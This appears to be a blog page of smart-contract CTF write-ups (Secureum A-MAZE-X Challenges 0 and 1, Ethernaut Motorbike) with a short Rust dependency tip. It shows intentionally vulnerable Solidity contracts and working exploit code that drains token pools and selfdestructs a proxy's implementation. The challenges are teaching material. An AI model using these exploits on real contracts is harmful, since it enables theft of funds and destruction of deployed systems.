13 Sep 2022
Secureum A-MAZE-X Stanford Github repo
Challenge 1: What a nice Lender Pool!
Secureum has raised a lot of Ether and decided to buy a bunch of InSecureumTokens ($ISEC) in order to make them available to the community via flash loans. This is made possible by means of the InSecureumLenderPool contract.
π Upon deployment, the InSecureumToken contract mints an initial supply of 10 $ISEC to the contract deployer.
π The InSecureumLenderPool contract operates with $ISEC.
π The contract deployer transfers all of their $ISEC to the InSecureumLenderPool contract.
π The idea is that anyone can deposit $ISECs to enlarge the poolβs resources.
Will you be able to steal the $ISECs from the InSecureumLenderPool? πππ
Contract
InSecureumLenderPool.sol
( The contracts that we will hack. )
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
// Some ideas for this challenge were taken from damn vulnerable defi
contract InSecureumLenderPool {
using Address for address;
using SafeERC20 for IERC20;
/// @dev Token contract address to be used for lending.
//IERC20 immutable public token;
IERC20 public token;
/// @dev Internal balances of the pool for each user.
mapping(address => uint) public balances;
// flag to notice contract is on a flashloan
bool private _flashLoan;
/// @param _token Address of the token to be used for the lending pool.
constructor (address _token) {
token = IERC20(_token);
}
/// @dev Deposit the given amount of tokens to the lending
/// pool. This will add _amount to balances[msg.sender] and
/// transfer _amount tokens to the lending pool.
/// @param _amount Amount of token to deposit in the lending pool
function deposit(uint256 _amount) external {
require(!_flashLoan, "Cannot deposit while flash loan is active");
token.safeTransferFrom(msg.sender, address(this), _amount);
balances[msg.sender] += _amount;
}
/// @dev Withdraw the given amount of tokens from the lending pool.
function withdraw(uint256 _amount) external {
require(!_flashLoan, "Cannot withdraw while flash loan is active");
balances[msg.sender] -= _amount;
token.safeTransfer(msg.sender, _amount);
}
/// @dev Give borrower all the tokens to make a flashloan.
/// For this with get the amount of tokens in the lending pool before, then we give
/// control to the borrower to make the flashloan. After the borrower makes the flashloan
/// we check if the lending pool has the same amount of tokens as before.
/// @param borrower The contract that will have access to the tokens
/// @param data Function call data to be used by the borrower contract.
function flashLoan(
address borrower,
bytes calldata data
)
external
{
uint256 balanceBefore = token.balanceOf(address(this));
_flashLoan = true;
borrower.functionDelegateCall(data);
_flashLoan = false;
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
InSecureumToken.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract InSecureumToken is ERC20 {
// Decimals are set to 18 by default in `ERC20`
constructor(uint256 _supply) ERC20("InSecureumToken", "ISEC") {
_mint(msg.sender, _supply);
}
}
Writeup
- Finish the
Exploit
contract in test/Challenge1.t.sol
.
contract Exploit {
function flashloanCallback(IERC20 token, address testAddress) public {
token.approve(testAddress, type(uint256).max);
}
}
- Add below code to
testChallenge
function.
Exploit exploit = new Exploit();
target.flashLoan(
address(exploit),
abi.encodeWithSelector(
Exploit.flashloanCallback.selector,
token,
player
)
);
IERC20(token).transferFrom(address(target), player, IERC20(token).balanceOf(address(target)));
- Run
forge test --match-path test/Challenge1.t.sol
Reference
Function selector
Ventral.digital
13 Sep 2022
Secureum A-MAZE-X Stanford Github repo
Challenge 0: VitaToken seems safe, right?
Letβs begin with a simple warm up. Our beloved Vitalik is the proud owner of 100 $VTLK, which is a token that follows the ERC20 token standard. Or at least that is what it seemsβ¦ πππ
π Upon deployment, the VToken contract mints 100 $VTLK to Vitalikβs address.
Is there a way for you to steal those tokens from him? πππ
ποΈ Concepts you should be familiar with (spoilers!)
Contract
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract VToken is ERC20 {
// Decimals are set to 18 by default in `ERC20`
constructor() ERC20("VToken", "VTLK") {
address vitalik = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
_mint(vitalik, 100 ether);
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address owner, address spender, uint256 amount) public returns (bool) {
_approve(owner, spender, amount);
return true;
}
}
Writeup
This level is pretty easy. Check out VToken
contract, there is the approve
function.
- Add below code to
Challenge0.t.sol
to complete the level.
VToken(token).approve(vitalik, player, type(uint256).max);
IERC20(token).transferFrom(vitalik, player, IERC20(token).balanceOf(vitalik));
- Run
forge test --match-path test/Challenge0.t.sol
.
11 Sep 2022
Difficulty: πππππ
Ethernautβs motorbike has a brand new upgradeable engine design.
Would you be able to selfdestruct its engine and make the motorbike unusable ?
Things that might help:
Contract
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
Writeup
- Get new instance.
-
Call the method in the chrome console.
implAddr = await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
implAddr = '0x' + implAddr.slice(-40)
// Your Engine address
- Convert an upper or lowercase Ethereum address to a checksum address.
await web3.utils.toChecksumAddress(implAddr)
// Your Engine checksum address
- Create a contract.
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "./Initializable.sol";
import "./Address.sol";
contract AttackEngine {
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
Engine public target = Engine(YOUR_ENGINE_CHECKSUM_ADDRESS);
function attack() public {
target.initialize();
target.upgradeToAndCall(address(this), '0xb8b3dbc6');
}
fallback() external payable {
selfdestruct(address(this));
}
}
Initialiazle.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.24 <0.7.0;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
- Compile & Deploy
AttackEngine.sol
.
- Call
attack
function.
- Submit instance ΞΎ( βΏοΌβ‘β)
07 Sep 2022
I encounter this error when Iβm going to use rand::thread_rng().gen_range()
function to create a random number.
How to solve this ? Itβs really simple!
- open
Cargo.toml
- add
rand = "*"
below [dependencies]